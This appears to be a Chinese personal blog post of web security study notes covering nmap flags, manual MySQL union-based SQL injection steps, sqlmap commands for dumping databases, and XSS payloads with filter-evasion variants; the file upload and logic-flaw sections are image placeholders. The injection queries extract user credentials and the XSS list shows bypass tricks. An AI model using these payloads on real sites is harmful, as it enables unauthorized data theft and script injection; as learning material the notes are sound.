项目型教学

sec

项目型教学

web 安全了解
实际项目中教学

nmap

-p 参数

扫描端口,无法准确识别端口协议

-Sv 参数

探测端口版本

burpsuit

mysql 手注

关键字和函数

  • union
  • concat()
  • concat_ws(split_char, str1, str2) 以分隔符 拼接字符串
  • convert() 转换数据类型 ,编码转换
  • concat_ws()
  • group_concat()
  • user()
  • @@version_compile_os
  • limit

注释

  1. --

  2. ##

  3. /* */

mysql version >= 5.5 有 information_schema

注入点分类

基于注入点数据类型

  1. 数字(整形)

    id = 8’ 报错

    id = 8 and 1 = 1 正常

    id = 8 and 1 = 2 报错

  2. 字符

    user = sss’

    user = sss’ and ‘1’ = ‘1

    user = sss’ and ‘1’ = ‘2

基于

SQL注入概述

​ 1) 判断是否存在注入点

​ 2)判断字段长度(字段数)

order by 1 ;使用第一列排序,可以用来探测字段长度

​ 3)判断字段回显位置

union 查询,​
content = args and 1 = 2 union select 1,2,3,…字段长度
​ 查看回显

​ 4)判断数据库信息

​ 5)查找数据库名

回显处 database()

… union select 1,2,database() ,3,4…..;

​ 6)查找数据库表

查看 cms 数据库的表名

…union select 1,2,group_concat(convert(table_name using latin1)),3,4… from information_schema.tables where table_schema = ‘cms’;

​ 7)查找数据库中所有字段以及字段值

查找 user 表中的字段

…union select 1,2,group_concat(convert(column_name using latin1)),3,4… from information_schema.tables where table_schema = ‘cms’ and tabele_name = ‘user’;

查看 user 表中字段的值

…union select 1,2,concat_ws(‘,’, userid,username,password),3,4… from cms.user;

SQLMAP 注入

sqlmap -u url 探测

sqlmap -u url -dbs 查看数据库

sqlmap -u -D ‘cms’ -D 指定数据库名 –tables 查询数据表

sqlmap -u -D ‘cms’ -D 指定数据库名 -T ‘user’ 指定表名 –columns 查询字段值

sqlmap -u -D ‘cms’ -D 指定数据库名 -T ‘user’ 指定表名 -C 指定字段名,查询字段值 –dump

XSS (Cross-Site script)

简介:

对用户输入过滤不足,用户巧妙的将恶意代码注入到网页中

分类:

反射型 XSS:

非持久型。

将 payload 携带在 URL 中

数据流: 浏览器-》后端-》浏览器

存储型:

将代码保存到服务器上,访问时触发

DOM 型 XSS:

js 解析 DOM 树操作

payload 构造 及 变形

  • 直接构造 html 标签

    1
    2
    <script>alert('xss')<script/>
    <img src="javascript:alert('xss')"><img/>
  • 利用 html 属性(伪协议)

    1
    2
    3
    <a href="javascript:alert(/xss/)">click me <a/>


  • 利用事件

    1
    2
    3
    4
    5
    // windows 事件
    // From 事件
    // Mouse 事件
    // Media 事件
    <input type="text" onclick="alert('xss')"><input/>
  • 利用 CSS

    1
    2
    <div style="background-image:url(javascript:alert(/xss/))"></div>

    1
    2
    3
    4
    5
    <style>
    Body{
    background-image:url(javascript:alert(/xss/))
    }
    </style>
  • 双写关键字

    1
    2
    <scrscriptipt>alert(/xss/)</srcscriptipt>

  • 引号
    html中可不用引号

    js中 可用 反引号 ` 代替

    1
    2
    3
    4
    5
    <img src=# onerror=alert(/xss/)/>
    <img src='#' onerror='alert(/xssx)'/>
    <img src=“#” onerror=alert(`xss`)/>
    <img src=“#” onerror=alert`xss`/> 代替括号

  • / 代替空格

    1
    2
    <img/src='#'/onerror='alert(/xss/)'/>

  • Tab 与 回车 绕过关键字检查

    1
    2
    3
    4
    5
    <img src='#' onerror	='alert(/xss/)' />
    <a href="j avascript:alert(/xss/)">click!</a>
    <A href="J
    avascript:alert(/xss/)">Click!</a>

  • 编码

    1. HTML 实体编码:
    1
    2
    <a href="j&#97;v&x61;script:alert(/xss/)">Click!</a>

    1. URL 编码
    1
    %3Cscript%3Ealert(/xss/)%3C/script%3E

文件上传

imgimg

imgimgimgimg

imgimg

逻辑漏洞

imgimgimgimg

imgimg

分类

imgimg

imgimgimgimgimgimg

imgimg

imgimg

imgimgimgimg

imgimg

Author: 哒琳

Permalink: http://blog.jieis.cn/2022/31005faf-fe12-4085-9341-32783c3f3a09.html

Comments